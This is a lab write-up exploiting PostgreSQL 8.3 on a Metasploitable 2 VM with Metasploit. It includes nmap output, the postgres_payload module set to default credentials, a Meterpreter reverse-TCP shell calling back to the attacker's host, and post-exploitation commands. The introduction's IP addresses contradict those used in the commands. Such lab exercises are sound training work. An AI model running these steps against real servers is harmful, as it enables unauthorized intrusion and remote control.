

Report:

EXPLOITING POSTGRESQL ON METASPLOITABLE 2

Amin El Kassimi

CyberSecurity EN
Paolo Rampino
Jan 4, 2026

Executive summary



In this Report, I'll walk through how I exploited a PostgreSQL vulnerability on my Metasploitable 2 machine (192.169.1.24) using Kali Linux (192.169.1.149). PostgreSQL is a powerful, open-source relational database management system that, when left unsecured or outdated, can expose systems to critical vulnerabilities. This exercise highlights how an attacker can exploit PostgreSQL to gain unauthorized access.

Goals and Objectives

In this report, my goals are to:

- **Identify and Exploit Vulnerabilities:** Use Nmap to scan the Metasploitable 2 machine for open services, identify the PostgreSQL service on port 5432, and exploit it using Metasploit.
- **Gain Access to the Target Machine:** Utilize Metasploit to take advantage of the `postgres_payload` exploit and gain unauthorized access to the system, demonstrating how attackers can take control.
- **Verify and Explore the Compromised System:** Confirm the exploit's success by verifying system information and ensuring file-level access on the compromised machine.
- **Wrap Up Key Lessons:** Conclude the series by reflecting on the importance of understanding vulnerabilities in a controlled lab environment and applying these skills to real-world cybersecurity scenarios.

1. Step 1: Network Scanning with Nmap

To start, I needed to discover what services were running on my target Metasploitable 2 machine. I used Nmap on my Kali Linux machine to perform a network scan.

nmap -sV 192.168.1.149

```
-$ nmap -sV 192.168.1.149
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-21 16:17 CET
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Stats: 0:00:11 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 82.61% done; ETC: 16:17 (0:00:02 remaining)
Stats: 0:00:21 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 91.30% done; ETC: 16:17 (0:00:02 remaining)
Nmap scan report for 192.168.1.149
Host is up (0.0021s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind     2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rexecd
513/tcp   open  login?      Netkit rshd
514/tcp   open  shell        Netkit rshd
1099/tcp  open  java-rmi   GNU Classpath grmiregistry
1524/tcp  open  bindshell   Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13       Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 08:00:27:59:35:43 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 52.97 seconds
```

The scan results revealed that my Metasploitable 2 machine was active with the IP address **192.168.1.149** and had several open ports, including port **5432**, where **PostgreSQL was running**. This service presented an opportunity for exploitation.

2. Launching Metasploit and Searching for Exploits

With PostgreSQL identified as the target, I launched Metasploit to search for available exploits.

```
msfconsole

$ /usr/share/kali-menu/helper-scripts/metasploit-framework.sh
[sudo] password for kali:
[!] Database already started
[!] The database appears to be already configured, skipping initialization
Metasploit tip: Metasploit can be configured at startup, see msfconsole
--help to learn more

          .:ok000kdc'      'cdk000ko:.
          .x000000000000c      c000000000000x.
:00000000000000k, ,k00000000000000:
'000000000kkkk0000: :0000000000000000'
o000000000 MMMMM .o0000000001. MMMMM, 00000000
d000000000 MMMMM, c00000c. MMMMM, 00000000x
l000000000 MMMMM,MMMM; ;MMMM,MMMM, 00000001
.000000000 MMMM ,MMMM,MMMM, MMMM, 00000000.
c000000000 MMMM 00c. MMMMM o00. MMMM, 0000000c
o000000000 MMMM 0000. MMM:0000. MMM, 0000000
l000000000 MMMM 0000. MMM:0000. MMM, 000000l
;000000000 MMMM 0000. MMM:0000. MMM, 0000;
.d0000WM 00000cccc0000.MX x00d.
,k0l'M.000000000000.M'dok,
:kk; 0000000000000;ok:
;k0000000000000k:
,x00000000000x,
.l00000000l.
,d0d,
.

=[ metasploit v6.4.103-dev ]]
+ --=[ 2,584 exploits - 1,319 auxiliary - 1,697 payloads ]
+ --=[ 434 post - 49 encoders - 14 nops - 9 evasion ]]

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project

msf > 
```

Once Metasploit was up and running, I searched for PostgreSQL-related exploits:

search postgresql

The exploit I selected, `postgres_payload`, had a high success rate for this vulnerability. I activated it with the following command:

use exploit/linux/postgres/postgres_payload

```
msf > search postgres_payload
Matching Modules
=====
#  Name                                     Disclosure Date   Rank    Check  Description
-  --
0  exploit/linux/postgres/postgres_payload  2007-06-05     excellent Yes    PostgreSQL for Linux Payload Execution
1  \_ target: Linux x86
2  \_ target: Linux x86_64
3  exploit/windows/postgres/postgres_payload 2009-04-10     excellent Yes    PostgreSQL for Microsoft Windows Payload Execution
4  \_ target: Windows x86
5  \_ target: Windows x64

Interact with a module by name or index. For example info 5, use 5 or use exploit/windows/postgres/postgres_payload
After interacting with a module you can manually set a TARGET with set TARGET 'Windows x64'
```

3. Configuring the Exploit

Once the exploit was selected, I configured the necessary settings to ensure the attack would run correctly. This included setting my **LHOST** (my Kali machine IP) and **LPORT** (the listening port), as well as the target machine's **RHOSTS** and **RPORT**.

- **Setting Kali's IP (LHOST):**

```
set LHOST 192.168.1.24
```

- **Setting Kali's Listening Port (LPORT):**

```
set LPORT 4444
```

- **Setting the Target Machine IP (RHOSTS):**

```
set RHOSTS 192.168.1.149
```

- **Setting the Target PostgreSQL Port (RPORT):**

```
set RPORT 5432
```

```
msf > use 0
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
msf exploit(linux/postgres/postgres_payload) > options

Module options (exploit/linux/postgres/postgres_payload):

Name      Current Setting  Required  Description
_____
VERBOSE    false           no        Enable verbose output

Used when connecting via an existing SESSION:
Name      Current Setting  Required  Description
_____
SESSION      no            no        The session to run this module on

Used when making a new connection via RHOSTS:
Name      Current Setting  Required  Description
_____
DATABASE  postgres         no        The database to authenticate against
PASSWORD   postgres         no        The password for the specified username. Leave blank for a random password.
RHOSTS    192.168.1.149   no        The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     5432             no        The target port (TCP)
USERNAME  postgres         no        The username to authenticate as

Payload options (linux/x86/meterpreter/reverse_tcp):

Name      Current Setting  Required  Description
_____
LHOST    192.168.1.24    yes       The listen address (an interface may be specified)
LPORT     4444             yes       The listen port

Exploit target:

Id  Name
--  --
0   Linux x86

View the full module info with the info, or info -d command.
```

4. Running the Exploit

With all the settings in place, I executed the exploit: **run**

```
msf exploit(linux/postgres/postgres_payload) > run
[*] Started reverse TCP handler on 192.168.1.24:4444
[*] 192.168.1.149:5432 - 192.168.1.149:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
[*] 192.168.1.149:5432 - Uploaded as /tmp/iCSPzxgc.so, should be cleaned up automatically
[*] Sending stage (1062760 bytes) to 192.168.1.149
[*] Sending stage (1062760 bytes) to 192.168.1.149
[*] Meterpreter session 1 opened (192.168.1.24:4444 → 192.168.1.149:36034) at 2026-01-21 16:47:00 +0100
[*] Meterpreter session 2 opened (192.168.1.24:4444 → 192.168.1.149:36035) at 2026-01-21 16:47:00 +0100
meterpreter > 
```

Metasploit successfully connected to the PostgreSQL service and gave me access to a Meterpreter shell, signaling that the exploit had worked.

5. Verifying System Access

Once the exploit ran successfully, I had gained access to a Meterpreter shell, giving me full control over the Metasploitable 2 machine. To confirm the success, I ran a few basic commands to gather system information and check my level of access:

Check System Info:

```
meterpreter > getuid
Server username: postgres
meterpreter > sysinfo
Computer      : metasploitable.localdomain
OS           : Ubuntu 8.04 (Linux 2.6.24-16-server)
Architecture   : i686
BuildTuple    : i486-linux-musl
Meterpreter   : x86/linux
meterpreter > 
```

The output confirmed that I was connected to the Metasploitable machine.

Check File Access:

I also used the `ls` command to ensure I had file-level access by listing the contents of the directories:

```
meterpreter > ls
Listing: /var/lib/postgresql/8.3/main
=====
Mode          Size  Type  Last modified          Name
--          --   --   --          --
100600/rw-----  4    fil   2010-03-17 15:08:46 +0100  PG_VERSION
040700/rwx----- 4096  dir   2010-03-17 15:08:56 +0100  base
040700/rwx----- 4096  dir   2026-01-21 16:49:48 +0100  global
040700/rwx----- 4096  dir   2010-03-17 15:08:49 +0100  pg_clog
040700/rwx----- 4096  dir   2010-03-17 15:08:46 +0100  pg_multixact
040700/rwx----- 4096  dir   2010-03-17 15:08:49 +0100  pg_subtrans
040700/rwx----- 4096  dir   2010-03-17 15:08:46 +0100  pg_tblspc
040700/rwx----- 4096  dir   2010-03-17 15:08:46 +0100  pg_twophase
040700/rwx----- 4096  dir   2010-03-17 15:08:49 +0100  pg_xlog
100600/rw----- 125   fil   2026-01-21 16:03:47 +0100  postmaster.opts
100600/rw----- 54    fil   2026-01-21 16:03:47 +0100  postmaster.pid
100644/rw-r--r-- 540   fil   2010-03-17 15:08:45 +0100  root.crt
100644/rw-r--r-- 1224  fil   2010-03-17 15:07:45 +0100  server.crt
100640/rw-r----- 891   fil   2010-03-17 15:07:45 +0100  server.key
```

6. Conclusion

How to Prevent PostgreSQL Vulnerabilities: A Cybersecurity Standpoint

To protect against PostgreSQL vulnerabilities like the one exploited in this exercise, it's critical to keep all database servers updated with the latest software versions. Outdated versions, such as the one used in this scenario, often contain vulnerabilities that attackers can exploit. Regularly applying patches and updates to PostgreSQL is essential to closing known security gaps and ensuring the database is secure.

In addition to keeping PostgreSQL up to date, implementing strong access controls is vital. Limiting access to the PostgreSQL service to only necessary users and trusted IP addresses helps reduce the attack surface. Always enforce strong, unique passwords for all database accounts, and wherever possible, use multi-factor authentication (MFA) to add an extra layer of protection.